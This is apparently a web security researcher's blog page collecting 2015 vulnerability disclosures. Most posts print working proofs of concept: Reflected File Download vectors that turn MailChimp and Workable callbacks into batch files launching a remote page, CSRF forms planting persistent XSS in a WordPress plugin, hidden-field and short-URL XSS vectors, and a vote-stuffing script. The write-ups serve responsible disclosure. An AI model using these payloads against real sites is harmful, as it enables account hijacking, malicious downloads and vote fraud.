David Sopas – Web Security Researcher

23/12/15 Advisories # , , ,

MailChimp Reflected File Download

MailChimp Reflected File Download

When auditing a MailChimp client for Cobalt.io I noticed that this company suffers from a Reflected File Download vulnerability that could be exploited only by using HTML5 download attribute.

Let’s take a look into the original GET request:

http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=?

This request is part of the subscription to a email campaign at MailChimp.
Checking the URL you can see “c” parameter is nothing more than the callback:

?({“result”:”error”,”msg”:”Blank email address”})

Putting my RFD vector on the callback:

http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||

I get the following reflected:

start chrome davidsopas.com/poc/malware.htm||({“result”:”error”,”msg”:”Blank email address”})

Because list-manage.com is not URL permissive I needed to use a external page to create my proof-of-concept:

<div align="center">
<a href="http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;"><img src="https://hfweb-assets.s3.amazonaws.com/integrations/mailchimp.png" border="0" /></a>
<h1>Install MailChimp toolbar to improve your email send score!</h1>
<p><i>(Use "Save Link As" to download the file)</i></p>
</div>

So a possible attack scenario would be:

  1. Victim visits a page with a specially crafted page – like my PoC
  2. Victim downloads the file using Save Link As (which comes from a trusted domain – list-manage.com)
  3. Victim gets hijacked

Because the download comes from a trusted domain, victims are tricked to execute files that are not suppose to.
This works perfectly on latest versions of Google Chrome and Opera.

mailchimp_rfd_chrome

MailChimp considered this issue to be a social engineering attack so they’ll not fix it.
In my opinion this is something that this company could prevent from happening just by adding a header to their request. In the end it’s a MailChimp decision not mine.

When I requested the disclosure of this report MailChimp replied:

We neither condone nor prohibit you from adding this to your security blog.

Hope it helps other companies and security researchers to better understand RFD…

no responses
18/12/15 Advisories # , , , , ,

Multiple vulns on mTouch Quiz WordPress plugin

Multiple vulns on mTouch Quiz WordPress plugin

Plugin link: https://wordpress.org/plugins/mtouch-quiz/
Active Installs: 5,000+
Version tested: 3.1.2
CVE Reference: Waiting

mTouch Quiz lets you add quizzes to your site. This plugin was designed with learning, touch friendliness and versatility in mind.

I found multiple vulnerabilities on WordPress plugin – mTouch Quiz <= 3.1.2.

#1 Reflected XSS on Quiz Manage
“quiz” parameter wasn’t properly sanitized therefore you could inject a XSS vector on the URL and get reflected on the screen.

Proof-of-concept:

/wp-admin/edit.php?page=mtouch-quiz%2Fquiz_form.php&quiz=1"><h1>XSS</h1>&action=edit

Looking at the end of the page you could see the injected HTML.

Reflected source-code:

<input type="hidden" name="quiz" value="1\"><h1>XSS</h1>

#2 CSRF on General Options
On plugin general options lacked a security token (like wp_nonce) to prevent CSRF attacks.
Take this form from example:

<form action="https://victims_website/wp-admin/options-general.php?page=mtouchquiz" name="dsopas" method="POST">
<input type="hidden" name="mtq_hidden" value="Y" />
<input type="hidden" name="left_delimiter" value="\(\displaystyle{" />
<input type="hidden" name="right_delimiter" value="}\)" />
<input type="hidden" name="showalerts" value="1" />
<input type="hidden" name="show_support" value="1" />
</form> <script> document.dsopas.submit(); </script>

If a authenticated admin visited this page with this HTML code his settings will be changed.

#3 Add a question using CSRF and get a persistent XSS

This was a critical issue. If a authenticated admin visited a page with this HTML he would add a question with a XSS vector (in my proof-of-concept would prompt a text).
A malicious user could use this to spread a malware, admin takeover, etc…

<form action="https://victims_website/wp-admin/edit.php?page=mtouch-quiz/question.php&quiz=1" name="dsopas" method="POST">
<input type="hidden" name="content" value='<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0PnByb21wdCgiWFNTIik7PC9zY3JpcHQ+PC9zdmc+" type="image/svg+xml" width="300" height="150"></embed>' />
<input type="hidden" name="correct_answer[]" value="1" />
<input type="hidden" name="answer[]" value="test1" />
<input type="hidden" name="hint[]" value="hint1" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="answer[]" value="test2" />
<input type="hidden" name="enclose_latex[]" value="2" />
<input type="hidden" name="hint[]" value="hint2" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="answer[]" value="" />
<input type="hidden" name="hint[]" value="" />
<input type="hidden" name="explanation" value="<h1>xss</h1>" />
<input type="hidden" name="point_value" value="100" />
<input type="hidden" name="quiz" value="1" />
<input type="hidden" name="question" value="" />
<input type="hidden" name="user_ID" value="1" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="submit" value="Save" />
</form> <script> document.dsopas.submit(); </script>

mtouch-quiz-xss2

#4 Quiz Name XSS

This was a minor issue but if other user level had access to this, he could change the quiz name to a XSS vector and get a persistent XSS.

Solution:
Vendor in a matter of few weeks launched a patched version – 3.1.3. Also he was kind enough to put my name on the changelog.

Corrected several potential security vulnerabilities. Thanks to David Sopas @dsopas for very kindly pointing them out and suggesting effective solutions.

 

no responses
14/12/15 Tips and Tricks # , , ,

XSS on a input hidden field

XSS on a input hidden field

…where you have the input sanitized for ‘<> chars.

I come across a web application on a bounty program where the returnurl was placed in the following HTML:

<input type="hidden" name="returnurl" value="[USER INJECT]" />

The security filter removed <>’ chars but kept the double quote active and reflected.
What’s the first thing that comes to mind?

http://victim/?returnurl=" onclick="prompt(1)

Oh no! Wait… This is a hidden field so most Javascript events can’t work because you can’t see the input box right?
Also you can’t style it to show the field.

What I did was quite simple. I remember that Gareth Heyes wrote a small article on PortSwigger where you can use accesskey to get the XSS working. You press a key on your keyboard and you call a Javascript event. So my injection become:

http://victim/?returnurl=" accesskey="X" onclick="alert(document.domain)

Which reflected:

<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />

If the victim uses the accesskey X [usually by using ALT+SHIFT+X – Windows or CTRL+ALT+X in OSX] it will get the domain reflected in the javascript alert box. Keep in mind that this works only at Firefox.

To give a better report and also to bypass their single quote I also sent the following XSS vector:

http://victim/?returnurl=" accesskey="X" onclick="alert(String.fromCharCode(39,89,111,117,32,103,111,116,32,88,83,83,101,100,33,39))

It requires more user interaction but might give the bug appreciation program the Woooo! Factor 🙂

3 responses
01/12/15 Advisories # , , ,

Workable Reflected File Download

Workable Reflected File Download

For those who don’t know Workable.com

Workable is affordable, usable hiring software. It replaces email and spreadsheets with an applicant tracking system that your team will actually enjoy using. From building a branded careers page, to posting ads to multiple job boards Workable makes it simple. Browse rich profiles of your candidates and work effectively with your hiring team on a platform that keeps your notes, communication, schedule, comments and analytics in one place. It’s everything you need to hire better.

I first noticed this Reflected File Download when auditing a private program at Cobalt.io.
When entering Workable.com I noticed a XHR request on my Google Inspector:
workable.com/api/accounts/8012?origin=embed which returned the following information:

{"name":"Aesculap Healthcare","description":"","jobs":[]}

Nothing unusual here but when I injected in the URL a “callback” parameter it reflected my injection:
workable.com/api/accounts/8012?origin=embed&callback=dsopas

/**/dsopas({"name":"Aesculap Healthcare","description":"","jobs":[]});

This injection gave me the opportunity to launch a RFD attack with following vector:
workable.com/api/accounts/8012?origin=embed&callback=||start chrome davidsopas.com/poc/malware.htm ||

/**/||start chrome davidsopas.com/poc/malware.htm ||({"name":"Aesculap Healthcare","description":"","jobs":[]});

Now that I had my RFD vector reflected on the JSON I needed the filename manipulation. Due to your URL being permissive I could simply add a extension to the filename called and got a batch file:

workable.com/api/accounts/8012.bat?origin=embed&callback=||start chrome davidsopas.com/poc/malware.htm ||

If you call the URL directly on Internet Explorer 9 and 8 you’ll get a file download prompt coming from workable.com.

On Google Chrome and Opera latest versions you need to force the download using the HTML5 download attribute.

workable_chrome_rfd

So in the proof-of-concept I sent them I was able to execute a new chrome window with a page that simulated malware.

A malicious user could:

  1. Launch a malicious campaign with the specially crafted page providing Workable enterprise accounts
  2. Victim downloads the file thinking that is from a trusted domain [workable.com]
  3. Malicious user gains control over victims machine

Workable surprised me with a gift thanking me for the responsible disclosure.
Cool guys! 🙂

Timeline:
13-11-2015 Sent the security report to Workable
23-11-2015 Workable replied back with the information that they were fixing it
26-11-2015 Issue is fixed
01-12-2015 Full disclosure

no responses
27/11/15 Bug Bounty , Interesting Readings , Tips and Tricks # , , , ,

Should bug hunters provide real personal data on bug appreciation programs?

Should bug hunters provide real personal data on bug appreciation programs?

That’s a question that sometimes comes in mind of many “hunters”.

Personally in most cases, when I participate on these programs, I use fake information – one of the first reasons is to immediately test the input fields 🙂

Programs that required you to add your credit card info, phone number, bank info, … in most cases I try to slow down my research a bit. [As alternative sometimes I use one-time only credit cards but in other cases you need to provide other information to test further – eg: upload funds using your bank account. Also it’s a positive thing to have a phone number just to test bug appreciation programs. I already smsbomb myself using a vulnerability #shameonme]
I’m not paranoid but in my opinion it would me interesting if the program itself provides the security researcher with a payment sandbox. Some of them already do this.

Programs that want you to test their payment gateways, membership upgrades, etc… could create some private layer to help researchers. This is a win-win situation, where both parties have interest in giving their best.
Just to give you a background on this topic, a couple of weeks ago I had access to bank information using a SQL Injection vulnerability present on a bounty program. The data was in plaintext. Some of the info was from security researchers that were also testing their security.

I asked a couple of other researchers and some of them told me that they used fake payment data – that works if you are not buying or testing payments.

But I wanted more feedback… So I give it a try on the voting quiz available on Twitter and shared with my followers:

Do you use your personal information when bug hunting (name, phone, address, payment information, …)?

Yes – 26%
No – 39%
Not all the info – 35%

Total votes: 23 (duration: 24 hours)

Not many votes (timezone is a b****) but we can get a small idea on what bug hunters are doing.
74% of them don’t use their real information or just provide part of their personal data.

Bugcrowd told me that they provide test credentials wherever possible. They believe that providing that information to bug hunters participants is ideal, but that requires support on the backend side. Bugcrowd CEO – Casey Ellis – also told me that they advise programs [private or dojo] to create test accounts. If it’s a public program they advise them only if there’s a txn failsafe on the processing side because public may start using them for regular transactions.

Working with Cobalt I also had the opportunity to work with test accounts in their private programs.

On HackerOne I never come across test accounts, even with private programs. It would be cool if they comment this article about this.

Also I already come across of some bug appreciation programs that provided credit card details [bypassing the payment checks] to give the opportunity to researchers test live transactions.

I hope that with this article I help bug appreciation programs participants to protect themselves but at the same time providing the program a good service.

What you guys think about this?

no responses
23/11/15 Advisories # , , ,

DepositFiles ZeroClipboard.swf XSS

DepositFiles ZeroClipboard.swf XSS

DepositFiles is a file storage website and one of the most popular ones. They’re online since 2005 and recently they start using dfiles.eu domain instead of the depositfiles.com. They allow free accounts but they also have membership fees.

When searching Google for a old depositfiles mirror I found a bogus ZeroClipboard version that reflected in a flash-based XSS.
This vulnerability in ZeroClipboard is well-known since 2012 – so pretty old issue laying around in this popular file storage site.

Proof-of-concept:

http://static.dfiles.eu/flash/ZeroClipboard.swf?id=\%22))}catch(e){}if(!self.a)self.a=!prompt(document.domain)//&width&height

With these attack, malicious users could hijack users accounts, phishing, malware redirections and a lot more.

I guess this file was lost in their static.dfiles.eu webserver. Sometimes these old vulnerable files can cause a breach on security. So if you are a security administrator or webdeveloper don’t forget to clean up any unused/outdated files.

Timeline:
09-11-2015 I sent the security report to DepositFiles
10-11-2015 DepositFiles replied that they forwarded the message to the manager
17-11-2015 I tested again my PoC and stop working because the file was removed. I requested an update from DepositFiles
23-11-2015 No reply was given but the vulnerable file was deleted so… full disclosure

 

no responses
21/11/15 Interesting Readings # , , ,

A few words about Anonymous to Tek Sapo

A few words about Anonymous to Tek Sapo

Luis Grangeia and I talked to portuguese media Tek Sapo about Anonymous and terrorism. Worth taking a look into the article. [portuguese only]

no responses
20/11/15 Advisories # , , , ,

Bytes that Rock voting manipulation

Bytes that Rock voting manipulation

Rocky Bytes is a company well known for its informative reviews and news on all the latest games and programs. Each year they promote Bytes That Rock – an event committed to bring worldwide recognition the software and blogs that have achieved excellence in the market with their hard work, effort, dedication.

After reading the post from Graham Cluley  which I follow on my daily feed, I decided to check Bytes That Rock best security blog nominees.

I noticed Brian Krebs – krebsonsecurity.com there and I’m a big fan of his work. I voted for him and noticed that the voting form had not protection – besides IP verification.

As a curious individual as I am I tried to check the form security a little further…

I thought to myself – What if I can make Krebs win the competition? 🙂

Since the voting form lacked any security token or CAPTCHA [or even a confirmation email link] I created a small proof-of-concept:

Let me explain with a proof-of-concept:

<?php
$email_generator = rand(10000, 9999999) . "@gmail.com";
?>
<form method="post" action="http://www.rockybytes.com/bytes-that-rock/krebs-on-security" name="dsopas">
<input type="hidden" name="email" value="<?php echo $email_generator; ?>" />
<input type="hidden" name="nombre" value="David" />
<input type="hidden" name="programa" value="136" />
<input type="hidden" name="legal" value="on" />
<input type="hidden" value="votar" name="accion"/>
</form><script> document.dsopas.submit(); </script>

I used 2 proxies to open the specially crafted page and both voted successfuly for Krebs blog. So I only needed a unique IP and a auto generated email to vote.
But I don’t needed a unique IP.

Imagine the following scenario:

On a popular blog or network I post a link that contains a hidden IFRAME to my proof-of-concept. Each time a user visits the page, it gives a vote to Krebs.

I contacted Rocky Bytes I told them about this security issue. They took less than 24 hours to implement a CAPTCHA system and told me that in the next edition they will improve their security system using my suggestions.

vote_captcha

They also informed me that – I quote:

You should also know that if let the users be the only ones who decide, it won’t be the best one on each category winning but the one with biggest amount of fans, and that wouldn’t make it fair for those small ones who put a huge effort and create quality software and blogs, jeopardizing the whole purpose and philosophy behind this event This is the reason why we put together a Jury of experts on the field and gave them a 70% of the weight on the decision, whilst only the remaining 30% goes for the votes from the public.

As a side note I informed them that during my testing I voted for Brian Krebs blog 3 times. One was valid with my own IP and the other two were made with 2 proxies and auto-generated emails with the name David.

I decided to make this public because it’s important for other voting system to take their security into account. Sometimes the winner is manipulated by users that can bypass the system.

I’m glad I’ve helped Bytes that Rock!

no responses
09/11/15 Tips and Tricks # , ,

Tiny XSS exploitation

Tiny XSS exploitation

A well-known website had a limit of 32 chars on the user name field that was reflected in the public profile area.
That field allowed XSS exploitation:

d<img src=x onerror=prompt(1)>

Simple right?
But sometimes you need to provide a better vector where the affected company can see more than a prompt with a number. Also they know the limitation of their textfield to 32 chars.

I found two methods using SCRIPT and IFRAME.
When I was tring using this with a tiny URL [is.gd] pointing to my XSS code at davidsopas.com I realized that the vector wasn’t executing.
Why? It required HTTPS.

I searched for a tiny url that provided HTTPS and Google provide me with one – goo.gl.

So my final vector was:

<script src=//goo.gl/TJnzmV>
<iframe src=//goo.gl/xWYG4f>

29 chars and you I could use any Javascript I wanted.
It was fun!

You guys have any other method you like to share?

no responses
09/11/15 Swag # ,

Thanks Edmodo for the swag

Thanks Edmodo for the swag

Got some cool gifts from Edmodo. Always glad to help others to improve their security 🙂

no responses
1 2 3 4 6